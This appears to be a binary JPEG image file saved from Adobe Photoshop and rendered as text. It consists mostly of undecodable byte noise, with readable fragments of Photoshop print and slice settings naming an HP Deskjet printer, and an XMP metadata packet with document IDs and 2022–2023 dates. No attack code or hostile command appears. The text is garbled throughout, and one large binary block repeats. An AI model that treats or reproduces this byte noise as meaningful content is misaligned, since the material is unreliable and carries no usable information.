��u;�L�Ge�;s��u�qwkt�ֵ��hy�Y�	�����8Qp{�V��7�mln�\?Ib/Fʷ;���ﭭ���pf�x�����B�߆��,33�U����S�cny!��Ӵ!�I�}6��Ef�C�^�0I �W�����{��X־��KZ�#��1���4;p��7�λ����c��,g����᥆iu��s��6Z�*�l�;O����~Rs+c[{?FƟ{���5$�OjG�OTC��9��R;���.͸�Mb�4�c�_�#'����8J�揤���[Xzfr2舘m~��k�F���~o��6*��n�U��h��;C����b�)��'�G�Iw��#��>�^pg)�w���U��Uw����͘��������ս�I�>����eW׋C.ik�`���3�l��6z�3��@뗷 ���F�ևl���z�������nPQ����c�,q���8�r�@���J�I��rq2+/$r�r;�̞�S�����#P�+U�HЏXAb=i�"�T����*B��h O�����<EM�V5�z~�����}�ͽ.�Ȋ겗����I���6#�n�7��ɪ��P�kE�k��Q�����7cДn$^�1�,J�P��>��<�s�r�c+6Y�n;^�K�{����k��O�����W��s^�[�d;A��T�^Ϡ��E��ge5����c:�M�5���5{���}/U��m_�-N��U���36�0X\ڱ���0�+7m���߿��4���G#�#���c7?���!,�d��̜X����%�я����㱶��W�lhsO��R��`��ɫ���&,��Ue�����欏�?Zj�;���ih����1�[�M#�_�6����2������]`�L<�A���s���V�WEm��RH���!���>o����0z��X]�3"óF �k�O�5˞\��O�fe?%������Iv澺��k-s}?��%�ok[Q!�UpF��o�۹��4:��F���s�kt��zmo��t�W��ai��P~U����������_�G��kԙ����@u�q�yc2����d\�.h/�q?G����˲���ɪ��WK�wdC�n�c�6;o�_��\p^K�(��єC���g�3�90��$xd�1��a(��s�n�Vmc�۟� �f�X��w�����n���-~��oxYXm�d���
Y��u�5��������K���ħ��n�����&�ޡw�m{�~�����:vWOC�en���!�V�D�D�f�W�=?	��8¨1G�Cֳ��#��e��=7�?�����.s��Z����ژͥ�O˸��7�o}�پ�g����F�뵀��o�1��k[��ȵ�t���+y���Ի$0�oK�;����-�k]�1��@����o&��)��)�dbe�?4g���y�$nFQ��_����B+PQXU��M�+��*�E<Em�yZ�����+&����[����?�� ����q��4N�'��R��I���5�>�8.ۻ���`��,s��<'��u���e��Z��� 47V�߷��(�
��������?US�雔.�f���W�cm��˭�.7�{U����'&���dӋ�SC�a|ieZ?GU������?0���n��-�̬jX���s��W���Ca�9��K\�n�����=��+�(����M�c���2����?/��;�<�S�d���V8X1�*L���d��d0c]�$TG�Ln��׻�߾�W��D�<��H��h�9�;��G��;%Զ�R\�A�c)w�ߤʭ�w��<{�Ujn>����7O��vqc��_4��(W�_�]��y%�#��Q����X��`5����6���ȝ�E��~�+o��W�hels!���7-.�˟��Q��5��c��_�x�{��R��^
�#*�|��s�h�X�	�|���_��iU 2� N��?�c�����^�]�_���X}N��0NU����xv`�#x.����mE�ݥ��ϗ�x�;j�����6���3���y��h��v
V;ԭ�w"�n�Fdlk��q���m|/AM�u�Wc��$���w?�q�5�����\W�Z���Up!���l�[��M����v=����f����Yy���@�`�#��;�g�]�֞�,	Kl���y�̈́�ja�(���/���ZQZPDk���M�b�*mr;��ɿS��6��@�E�[�ʲ���B�9I��[�^��׀`�wl\��֌v�����>�nQ�������z..E�����s�qcK?Kk����Ze��{|w"8��]8\\Bo���K�ukN�����վ�۳rF&_�m�׶����O
g��kW�#�ef�Z��,n��{m����f;q��m����Oy��lw�ܝ(�*CS#����<�\��9{�2��@�Dz�=�N5A�=\7*˞��v�la}���Z��R�[���g���W���S(ǧk�e�8��������
��4�h�RW)��*����Z�;��깄�l���{}�)DƏAѱ�e����]��z�EXt�Ջ�ĝ��X�}:�H�ٚ̌���zUU]�cDD��w��o�%�-���v������Y��w�g�*����j����s��뮙/s���m�Dء�t��EMs�{�O��NU찹���䟊��.&>�B;n?���<�{0�fd�!
����p��J�H
���#�	�<N��uV踚#����ߜ�Rƹ�!���A�O
t;�G|���R��q�=8�%�$D�~�����VJKH'Wi���������s�ܬV��rI)b�'���~��M���w�W�$�2}F�m��︫��o�;�+ȒGE��F�o�;�+���c��Ii�F�W����l�/-~�кW������
�]'� �aUIe��n
�Po0cS�`�����Ēg���u,sK�1�9T�Sr�߼=�B�^?�\���N�mt��+�]���<R'���ABIY�>�����F<��/K������Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img4��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIMQ�g�� 5���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��:p�N�j�jV�b����LS�Emd�'�TF��b'�H��	��b�f�;�qk7���/ڌ�JG�o2
�C��v�94�Z-t�^|4����8sim���k�4	��M����3�c�ɏ�ٷ�X���Z�����.����S݅S7�cv���c�ݳOQ۶���a~c��sه[�*�;KZ^�u��ܰ��Li⣖~B?[a�z�>F����K�9u��\`���mw��6_O�pf=�{�ծ?�k�wer��<G�֫����3��+~��D%���.�&N
�lY����@�ߓӾ�%Z�T1z�F5��|��{�����w�Z�?��h�L#P���h�!�xf�
��Ŷ�N�-{�T.d(�����И0�\0�Ј	Pj bv���x���V��4LK�45ܭ3��S-�U}�YN�v��ͺ��D��F��I>3�Z>����akj}����w9�<����g�6��F�ZXX�{�c�]�w��N�>ݾ�{����T-��n�X�0���������q�k�w8�p�=���>ߤ�z9f���C}6��\�0k}F~rpn�`�K�	,�6A�wx�m��Vێ��,����
���;��~�fR��ݼnhO��v�n�^X㫠�$
����Gdq��������q7�@..m�k�^�̏kl��m�J����Q���ʒ]��c�q���^��G�d9�,v�acH?�k÷�C��:�3�[]�q�kkk=��>���W��][�����@������sd��I�t����<~g���V�5�WLn{~�h��!'
���.s���DCA�k��EI��0�_οq�ʯ�����39�dž���9~��.w5�r�A'�ԁ�G����oN�k�����&�����oiw�=Q����]�^�X��o�cZ<,}M����`�ۏ��1���Tܚ��\k-̚��ޥ�vٵ�XK�`6}?~��n��o�Ǫ�mO�)�mo+o)5�8?�ގ%���/g+7!��J-�'���R0�
p�Њƨ�"�'�lf��5����(T�r���~]�U�1(U!�Ln&~�Z~�Y��r#��]��%� �K���n���\xl�?�[��ce季:�H
��cN����9l��:��V�`z��X���=�v}��
��u;�L�Ge�;s��u�qwkt�ֵ��hy�Y�	�����8Qp{�V��7�mln�\?Ib/Fʷ;���ﭭ���pf�x�����B�߆��,33�U����S�cny!��Ӵ!�I�}6��Ef�C�^�0I �W�����{��X־��KZ�#��1���4;p��7�λ����c��,g����᥆iu��s��6Z�*�l�;O����~Rs+c[{?FƟ{���5$�OjG�OTC��9��R;���.͸�Mb�4�c�_�#'����8J�揤���[Xzfr2舘m~��k�F���~o��6*��n�U��h��;C����b�)��'�G�Iw��#��>�^pg)�w���U��Uw����͘��������ս�I�>����eW׋C.ik�`���3�l��6z�3��@뗷 ���F�ևl���z�������nPQ����c�,q���8�r�@���J�I��rq2+/$r�r;�̞�S�����#P�+U�HЏXAb=i�"�T����*B��h O�����<EM�V5�z~�����}�ͽ.�Ȋ겗����I���6#�n�7��ɪ��P�kE�k��Q�����7cДn$^�1�,J�P��>��<�s�r�c+6Y�n;^�K�{����k��O�����W��s^�[�d;A��T�^Ϡ��E��ge5����c:�M�5���5{���}/U��m_�-N��U���36�0X\ڱ���0�+7m���߿��4���G#�#���c7?���!,�d��̜X����%�я����㱶��W�lhsO��R��`��ɫ���&,��Ue�����欏�?Zj�;���ih����1�[�M#�_�6����2������]`�L<�A���s���V�WEm��RH���!���>o����0z��X]�3"óF �k�O�5˞\��O�fe?%������Iv澺��k-s}?��%�ok[Q!�UpF��o�۹��4:��F���s�kt��zmo��t�W��ai��P~U����������_�G��kԙ����@u�q�yc2����d\�.h/�q?G����˲���ɪ��WK�wdC�n�c�6;o�_��\p^K�(��єC���g�3�90��$xd�1��a(��s�n�Vmc�۟� �f�X��w�����n���-~��oxYXm�d���
Y��u�5��������K���ħ��n�����&�ޡw�m{�~�����:vWOC�en���!�V�D�D�f�W�=?	��8¨1G�Cֳ��#��e��=7�?�����.s��Z����ژͥ�O˸��7�o}�پ�g����F�뵀��o�1��k[��ȵ�t���+y���Ի$0�oK�;����-�k]�1��@����o&��)��)�dbe�?4g���y�$nFQ��_����B+PQXU��M�+��*�E<Em�yZ�����+&����[����?�� ����q��4N�'��R��I���5�>�8.ۻ���`��,s��<'��u���e��Z��� 47V�߷��(�
��������?US�雔.�f���W�cm��˭�.7�{U����'&���dӋ�SC�a|ieZ?GU������?0���n��-�̬jX���s��W���Ca�9��K\�n�����=��+�(����M�c���2����?/��;�<�S�d���V8X1�*L���d��d0c]�$TG�Ln��׻�߾�W��D�<��H��h�9�;��G��;%Զ�R\�A�c)w�ߤʭ�w��<{�Ujn>����7O��vqc��_4��(W�_�]��y%�#��Q����X��`5����6���ȝ�E��~�+o��W�hels!���7-.�˟��Q��5��c��_�x�{��R��^
�#*�|��s�h�X�	�|���_��iU 2� N��?�c�����^�]�_���X}N��0NU����xv`�#x.����mE�ݥ��ϗ�x�;j�����6���3���y��h��v
V;ԭ�w"�n�Fdlk��q���m|/AM�u�Wc��$���w?�q�5�����\W�Z���Up!���l�[��M����v=����f����Yy���@�`�#��;�g�]�֞�,	Kl���y�̈́�ja�(���/���ZQZPDk���M�b�*mr;��ɿS��6��@�E�[�ʲ���B�9I��[�^��׀`�wl\��֌v�����>�nQ�������z..E�����s�qcK?Kk����Ze��{|w"8��]8\\Bo���K�ukN�����վ�۳rF&_�m�׶����O
g��kW�#�ef�Z��,n��{m����f;q��m����Oy��lw�ܝ(�*CS#����<�\��9{�2��@�Dz�=�N5A�=\7*˞��v�la}���Z��R�[���g���W���S(ǧk�e�8��������
��4�h�RW)��*����Z�;��깄�l���{}�)DƏAѱ�e����]��z�EXt�Ջ�ĝ��X�}:�H�ٚ̌���zUU]�cDD��w��o�%�-���v������Y��w�g�*����j����s��뮙/s���m�Dء�t��EMs�{�O��NU찹���䟊��.&>�B;n?���<�{0�fd�!
����p��J�H
���#�	�<N��uV踚#����ߜ�Rƹ�!���A�O
t;�G|���R��q�=8�%�$D�~�����VJKH'Wi���������s�ܬV��rI)b�'���~��M���w�W�$�2}F�m��︫��o�;�+ȒGE��F�o�;�+���c��Ii�F�W����l�/-~�кW������
�]'� �aUIe��n
�Po0cS�`�����Ēg���u,sK�1�9T�Sr�߼=�B�^?�\���N�mt��+�]���<R'���ABIY�>�����F<��/K����8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM���http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="414291384AA66469AA65680F05EA6B42" xmpMM:InstanceID="xmp.iid:e6235f40-3c4a-4d42-a3fe-07438f0ee3a7" xmpMM:OriginalDocumentID="414291384AA66469AA65680F05EA6B42" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:52+05:30" xmp:MetadataDate="2023-11-13T21:41:27+05:30" xmp:ModifyDate="2023-11-13T21:41:27+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:e6235f40-3c4a-4d42-a3fe-07438f0ee3a7" stEvt:when="2023-11-13T21:41:27+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���!1 0"2@A#$P34%B5C!1AQ"aq�2 ���BRbrP����#0@����3c�CSs��`��$4p���	!1Aq"2B 0@Qa�Rbr�������3P��C`�����#c����Mz� 0��HHH�d	ad		a`�CH@C!����K0$%��I`&��:U�I.T�-��V,
V,Zڢ�lT"ةV����WT(`��9�I$��A� �0rH�2���!�!�!�!��H���4L0���	��M%����sPGz)hj��+�*��+1=���sԕ��A`b�
Ŋ��*��Ekb��uB+��\����rHHB����		lCCCBX!������h��7FTnwU3V�39/��0�e4ȋ�0sf=��HS$	�wt�^��>�y��v�-kZڨ�mP�-DV�(�[��"	RA�$���2�CC!��@���������e2��M�5�Ͷ�"kqT��P[��}-��z~4g̿V|s�y�-H�)�qnw�H�4g�X����zy9�J�皿��}5��:��J����d�lDV%���RH8Add2����H@BHY$!! ��d���
ƪ7e�m��b���V�̥��*�E�i��8���Y���p]���[��+n-��$ĒhN�V9z�z��Я?oo%ywr2۽����Ekbib���QRZ��]R�$�!	!A �����BHB���t�Yee�M�*�r��O�Mz��$�q����s�:+�^��b�t��kN7'��:�rp�y�2"t9��q6�ڌE��n��z|V���)���o����~��^�bX��V�"u��������Z���I�p��8dd$$a��27!#��C,Q�R�?S��F:6���yZQbjqp���x�\����H�5�ev�sY�Č���՜x��7>'���s�Y�ើAӕy�AP��ѾW�w����6r��=�"��>�L�krس�R؃�,@�,D��Ej�R+��A�BC C#���2A0�0� �;f��ޡ��#��m��-��u.sy�j�-51,��3N�X�5��+?����[WG�_e���m����N�p���{��x.����.��O��v�OKVm��]k���ZX�֖ T�"+WTa���$#���IC CrB���a0�q`[��`���;�T�I3�/s(��ez\X�R4����T�&�V�[c6��*x~��M�U���6L�6�tW�u�c[3�I
�z?%���s���=�S��z;ǜ�&�ե�Uj�:��Eu؁Z:�	�hA	!	!d��20�!#���	jX��U��N��j���ɢ��ɨHںIs��"�c+/#�F���M"��[��ĹH�Y��w|�wݚ���+ʖ��jZaV=>���o+WO^����:Zs�^�礈�RWmm֖"u�bjʌ2O?s!	!d��227 H H#&�F`̖��.�7����A]���n��y��q�8pu��Y��t-3n�3�J�/jԪ)v7��uT*�5	��W�v6L{��i�9j��գ��O^�����vx�~�Z�7��<ٻN::�GG�#�i]��u؃�Q���t C#!�rB(dl�@�@��ƄE�4X0k�r30X�V5e��(IӶ�f}cŜ�/��w��s��n��0�bXή9b��qi���!����:,2�5QBq�y;|�����ۛ_;v���b�������w��n�7[V��	�݋N��Ľ+K+)��+jʌ27�Id! d,�� ����XX03y9%ô
�!���)p���'��<�a���W�w��ۜ�u����#�^BtPJGF})��s��R�u~6��A�6�U��|��}뻵��(��'����}ޏ6��ߝӋNm:�*�ZYX���:#	���C C	���̮��h`�u��:��;1�q���ݖ��oCnno?���.֎?A��L�	20�J%��fK%�f*��N_����k}���UܮN�~�5�k�c�y����=^n?�|��_�t�ÿf{���Ui��+�S=c�[��K+ZV����;a!������aCefVev������rwg[�up*��V}^{W?���a���Q�辜��;������?o�SU�}�1T�&_���Z黕'n�y�ѧ�#
9��%��.�֜�ԳСodT����N��7f8ڛ�{]o-�<|<^��E�k97B�s٤mΗ�Ѭۚ�S�F'��,$00B		��ep,���3���6%�uʙIacQƥ~�����ӥ��X��t3Tl���_/g|i�	�'}ܝ1�S��ʙʦ���V$��@ǣ:�^�#Z�M�^Ff���:��ӟ��xv���tї����⾼>σ���+��/?m��cLt��m���y=+#�ːx�hAAa � � ��A�-3+2�՚kk�
��Dz�Iw%5�J9�/���}^z�c���a��Ӽx���J��c]���Z�
�l˯ζ�r)+�ڎ{i����).��kM�τ�_���YF%z)ח;�y�Uwp��c�U�C��v�M�~v��y����k{���{����nM8�y��H�H H,$$+0��L����M���`��fr���N�²�9e׻��{>~�U�}{��ۣLJ����V|"裞���ޗ��աo^�3�UkFܚ�QF�NF-�g.�\b���]��=oO$�l�
8�p�j�t.����f���?A���כ���<�~��g.�B�}Ky7c�(���	d��AAe,fVatf������M�c����lOs�[_���w|�}]��&�گ�߿���?G����(��7�k[7�7c�϶C�EF��tm�.�9��j��η�Ǫ�=\ޗ-+�6��s��J�E�㸧M*���y����+_C�g��KN~C�M:�/-��N�݄%K���$���̬�:0;���Sk-z�4�;�_e���÷�������ux;�c��|��-9u�5�nך����i����^��M��tױo+MԿ�b��w*^��\]��r ���k]�˄X��K�+.i���SҖB�G=m�N����WVk���I�a�J�D�Z�e,b	+4�Y���3+4Ύ+XF_&�T���Zy��{�c�̷N5�[5�7��GG6�)կ)]-�����e�����S/����(���+x-vy]N\�F{fV����H�cz&%�ޔ�ˬ��%$�2[я[W1��v��R�זA�		���A�Zb�	�Z�tb]������W+�iV�c�l���V�٨zr�Ւ����Ny���8m���zrr_����u����,`�Nw;LO��a��]�s+w�t����NQƇQ�;j
UI�kQ��}W�u4�YfDWo�j���M7�cm���"y��",b��T�Z$fR�2�L�ZwFj�h�-����+<�c\���q.�Qz��)�m��n���~�������9�����z7����|�~Z=��[�זt��x��̘����T)l�=Xz^RVʦ8a�U�T��h�uX! �J�Vֶ���� �Ȝ���$I�X̤�i�KL��;#�f��YkVI��
g��|��O7n�g��@s������J�ߜh�n=6?��k��4Ϟ+tJ�9�83���5i��W�G?~	̪W9�*)��dw[%�;r]C!P�HRf٪�AT���5�Ⲱ%H [���k�k@�g�J�4	���c"fR�23�4��H��a�԰0���	�'+=�
ӗ�񚷞�9s����=�����}%;����N�Mܩ>���ђ�z�0�nK��N{���z��
b���$F�.�@""2�"�JD�}gF{�;$��`"$�� ̌�*X̅�d"vFiʖ�j˛Z��S2����,�k+�en-O���l�4����F�y���Ԝ��](º�#)zT���h�~Z�Hћ�j0H@�b�H���I GG�	!�b-׆I���D��*X�H1R�,b��d-;!�f��[cV̵�aZ�W=+ڗ�K�K�K%kR�a��� Y���U���9{�O^bY@�sa
�0�g9uV��U(c6jz�IPHK�6�����M�<��$�đ�$�����@�XJ�4�*D�K�i�9SR̄V5e�=LխS
סڹ�q\԰�j.j.jH�4���B�~�z�>m�;�$���Ƹ��
A`c"�et���$���[Jm[=.f�5��^!�KU�Ψ��3w�ၸ���:3��<�.���:���<��`�]�Ă���>~5�[�@��c^����o#�
�`{V�^�$�>5����>��;��S�G�����8�6�S*ڙbW�bW�`]fX�34��)����!��F�Պv��<�هRr�u��ի�
�1E�Ɏ���s�1��:y,�I��<���5���fN�=5p\ш��1�=;�@:�{`B1�~��PU�yϩ��"f,#'Яץ��������޵~�`�1<~��\@�3��яu��;����0������q��S�?f���by<癙&�5�
g0LIyX���.�L��� \�C;0�>1М�STR*��(E��6*�zў���I�32fz�AӶ}K���T���6�Q����iۦzg�i`�%�����}��x���1s�B0f;�@z2���I�O  l᪰�6�*A�0�*L�*�R>�  ��{s���Vl0grdv�}?����}��J��%�@�h`0L2���r%a�% ���zQ�e������`^݁��$��i\��-�ϕ#`�����t�L�ܫYh/Kc�H ��#4$Brdc1R픱�1FfY���Ka,"�&F>v:0�+���0�j�����i��rW'p2DV,SX1a]j���Ck[���PԬ`�PFgq�11���CIXN@zF3�)�$�Ә�@�+�@{�#�%�>Ç�W]
�=Yg�Ő3��~ �,=�3Z�Yky8�lC��A�~�ґ�
�Oe��c���}V8�����^��>_,LO<D�Ӂ��<O�������?r{�z�?D��
�C��HGd99��Yb)����0s�q���bk'��Ao'R��tU_�_�D�s�)���0�A����) 60s�/�N����d2�*l`��b�!�#��bh���1��?/��}��%�S�]d�qX��9Qi�cz@:�@pOL�k��^G�~1���p�1�J��@��Ԥ��6E+��q�0#��u=L�A荂�0X������%&�9��3��F8#�&Q�����=�a�a����>,u�	�㏩��Ff<DWe��Ј{|&;OQҧ ��BQg����3
>�s� ��f��!��V�����LɞG��!�\�*�mF�=?o�:����ޏ�����!cMAuVj��E�
3��5�,�C=u�����h`��C3附�+��XmQ�H ���O	�'��d�#��Ϭ��od5ܮ?Q���Bg�0`2�����l?��`YM�K��g�a���Q<�c,)���XV�����x�����t4iM�G��g��ŗ��%Cō1�+��]_(�ń�V;�݈e��2
9iW��U�������D�峎�n�=� p'�a�����Mk���WY�
6DkJ�eZu}�5�_�A��O���U<Ua�>S�̞���s�k�_^�=v#[��aښ}�$y9�*��χ?+=GA����=ga;�� �13<r�����f��f�2�YQg�د���`�Z�=?a����{O9�fZ}SN«sy'"yM��Z�v���Z�ٙ����G���b�+ffd�f;�ك&0=+���ǘz�-��|c��x�}���q^Z�> �����2:7��&�j�{�33��F؞���Zr����)vU�>F�{�鞹�����L�is�"e��{��=1�_>��*V�<f�]wf����ٙ����3��2;�ܰ���iP�=��9��(�$�.5�y_��+��o=�Z�C�ޣMv��j���Aus?3=3��AUʬ�x�yS��%\0"(&-`�@#`�ª�%�Uq㋵l�n�����jP��p^aevs���'�Vv"2��K<���5u�T����*�L�$x��|g�02��6����Z�J��ާ�R�֮�8�%�8������<���������l6�Fc��<���rt)�!��%���(�����Ly�R*h��ե�e4��W�� �>���~�jR�(\q���+�]H2m&=�G0����;#��m�+ֹ#kTZͅ(�T�`M��?IR��%��;�|����O�I�'��_�R�����M+`�����O�ۖ9�q\3>@0b����ڬ�c �&z�fg���l��X�'چ�d�n�Z|�3U�Wc���������x~ɈHC1�>��/��Yi�1�3?fz�F���X�ȱ.S�iYQk�l���d<I��1�}Or:1�;�2�5G �r~�9��D �T�[!1�nNw�/fuv[�D��������G`��0,�;�=i����3��{#3=I��b1�7U����*��͔cf�/�ͩNj�׹.ęJy'�l(<B	i���0��b���"���������P�Go&W�7`�Y+]~B�V�(�_��\�Z���}����2�3�C�z�!�33�I}3��(��Ɍ�V�%U��2ģ;5wX��c6g�W1�8���3Ӯ~I�rDX!���3�L��O�V�!�U�ȁI.A������W�?~�	�tD�������,�~�>�z���R@�"��-y,�����O�t=GC=l��,?���C�������������������bb��LLLLLLLLLLLLB!�D"�B!�a�I�LLt�LLLLLLLLLLL@& �k�L��^��D�"�B!�D0�!������鉉�������Tf+��@ס`m4���묘���g@�����������D"�B!�D"�~�&&:�bbbbbbbbbbbbU�lP�k�;{�@�@���
f<���.OI�-�Ň�׍�.��c_/�+�:�z�#��D"�B!�D"D"��bbc����\LLLu�������Ħ�q���8�~����h�{O5��ݽ�6��O��a͝s�V��SSmM�̽r�j�1<a�D"�B!�D"~v?K�����������2�k��ٯbj^��Ym�W{hkT����=����액K�����ӳG��c��D"�B!�D"��X���X����.��
�n�(5��B����h�7�K�{���������ץ�lf���]3�׈��}~���A��lU�
�.���v��B!�D"�B!��LLtZ���q,��1Ҫ^�u�΂�Z��Z�]�c]u$�a��j{�����Zy����U���j�^����W�n]e�'ỵr�mhjɿVq|����B!�D"�B!����Zm0R���]����)�	�T��.��V�Sjמo቉�
LMM���	��]B�~�
��Wn�A�^�6
ӐzQy�ez����q_��qJ�
���e�*����c_�x�ĿX�D"�B!�D"1�8��,j�@&&:bbb1Z��Vbrƭdw"�}��3;GӮ�{55�S“�Y}Ǎs�^�s4��}�Ý��kGW�XYN�J�֫Jq��~�Ϋ`�I�U}�6�"�/F��˼�����ڄB!�D"�B!��}q=�V&& RaFY����h#��Z�WV�.w5���ԩknB5���,�_^ݻv�>�\OoUg5n�z˷�f����+���l3J�n<�;�_�~
:YMv�4m>Ω�j�5�s�(����H�B!�B!�a���+N&%h]�5��EsӧF�[���ݫ]�E\��ehY��h?�C����U�kj�e�5����Af�ObƋ��u�_�Vh�u�����Q=�N5��޻3�l���o�a���Z�vv?�ท-Q�!�a��~�t�b(�8�JX��65�jҚ��;V^��m�>��Q���v,^?\M�j(�����Pb�m�f-k<�Oz�?!`��<%�Q8
��p�wW����i�x��ͪWS+���+�5�"�&�B�K��ѻd��J��Y~K�w���A �D"�C�B!�� ���b�@%#6�����*�ԣQ�Mz��� v�٪�Sq�^��"�.�&��(����3��	��>�����i�4Z�i��Ӵ6?�06�Tk�F����
�Ƴ��I��=�h�f�d�)�(X���[��uD�5�Eov���+��}j�F�0�3�� 1�����!UZ�bŜB�.� �m��m����u�t\��&��sc�p&���Q`��?&�
״�`XUJTAeB
�a��&9�V�[
�.�'��'�����]Sa�e|]�*��v���*%�/8�
ܭ-G-��g��a�"D"g�1��bZ>�v��m�*ύV�E��bki���r�!�5�6�Jf��Z��`���LE_����*�` �c�BѰ����ǩ����g�}�IZT�K��%�\�n?i�hXR�~�;���Y�a'\�D"Da0���B ��� �Y��@"`R��X�j�v�#��o��c2�hEZ6���D_�t%`�i���`)�٩c;�G�/�rڌ�i�M;�<�ժ��K��}�ى�z�;KmoU�X3���i��D0�0��~��L@ ��=M��Z�h5n�]D�E5ͅU�.H�U�l�Ԧ-w���ف�X�R�Xka+g���f�E��(ʀY0�����jɾ�i����ll7^�ǹ�Q�yL��÷p�q���|q{hVJ��x���p�0�0���F:J}Td�E�U��Qkm�U�Mv�1{�I ׭R��j8ը[�MQ��,��#�C� l°"ce<H @�S�O⁨X�{�=���P���[�[���㬻!���Y���E45��K��ƯgR�}������2���a�1�����D�1��%+����[�Ω�,ˣ����aj�*եnˮ�:U웯B�KZ~6�=�І!}�c�&���<]��Zɞ$L@�V�
-0P�T����ж�i���Þ2ÂXg3�9Ș���q�
ʾ^җ����]���y%�[���a�a��GA�A�L@ ���V�HՁN���a4XgV��
v�&�֪��zU��LM���͵sOr��D�W�,�)�y��jk0Wz�>��ǫ�Y����LLKY^ȷG`ض͗�q�2�{�wȊs)Ӿ��q��_
�߃џ�ۯn�ԷU��t��mj��ra�cC����t�@ #�>�K|\Z�]f��Ӑu�w�`�VGdQ6�m`� X/h2��J��EJ��� `�]E�����4t�����8}nJ����r�M#T��H*��������ai�Ezo5-�cZx�h}�W0�0�hg��GA�A�`(� �M���k5	Bk.���~w�~-�ŃcaD�ܔ��UU�E~V_]a@�@%j�Pp���J�'�W[�c�@#������Wf���.���H�貄1*$�L����"j��D������`�a�0�3��� A���K�l����8�+�jT�Q��ܭ�HT�o]H��ڲ�R�Y���d��d�����y�;��R���H������E{5Ǎ�h�)��(v/
[�D��v��xڅ�[Vm`v�h�0Ɔ���玂 �@ �2���EHx�@�MJ��_�W�W��[U�6����Z����U�e>�g �roM�q�حY����k,��U�`�r�:{
Z�h�T57�-����b�JV����V�<�E
+�͝��G�a�a����掂 �)� 3�<|�	�'�m��&�:�N�b�e��غ�v�8�ʾ��b�b11�J�Wde���b����6�[=Y�{wR�w�d��z�
�S�;@�zŏǨ<����l�C`Ye��u��l�ha�0ƍ���AA��@3�#���l���ļ�,�5u�f���H+�Mujq���P& ��%k������-
�!�J�,������?ثY���C~E�1Q6�3���Eζ��J�_���s��-����ܗ�`���QŖR�a�a�~�4AAANՁ���
+Z�ʢ����uZ�e�Ḋ���O!�.9.Kĝ��J�r�]��ְ�����W`@��ӭ���귐�]ۖ�W�?�i��o+��m�d
�{�t���l�]�&2ʛ���x�|�E1_-W��`��n?l���ek�U�|���]�-԰�"��ҋ��v�[���pD0��掃�� �A�  ��ʹJz��V�\��+��ƟC�yn�^���v�SY�p��̶�]�cj�LD�G��w��
J4��x�K�9
�z��f;�j�_P���j�{	���)�p%���F9����1��˝e�݅W�5��(�����FkkE\��#V�����ץ���u�n?�Aw�֗�ˮ�.��Q�Q�AAAd	U`�	$Ջ����}���(=�6Д鮝`6��Ɗ�r�mV3���Se��m7U�	UA�$��5jKw6v��M���]Kޮ�����j� m�4�z��k��.^E���W�V�˷��s2'���k��_�n��̇!	�
�jYO��k������:�>��c��k����XN7M5�����cUW��z_���� �AQQ��͘@ z�w}������ںէ���s����������_gu��V֜G�k�&wv۽5�<��l��u�N.��v�lmT��Ӑ�0V�t��9�Q�/�q���Z�
���l-E�.�Ň�Gӛ����ֱܝ|Y���;x���m�]�j��͛w�[^�V�[k�X�xf{+SEv[���I}^Ş��tAA��Y���@��;k��q��Ҵjmok��›��5��6:��Ҟ.=ҫ���EU�Im�Z��N�yR5��m׷�Ek��E:ښ�k�bq�ū��x�a��t��P��j�2���x��i\6r�K.��jQ]l9>P��M���8�tּ`�׻�}
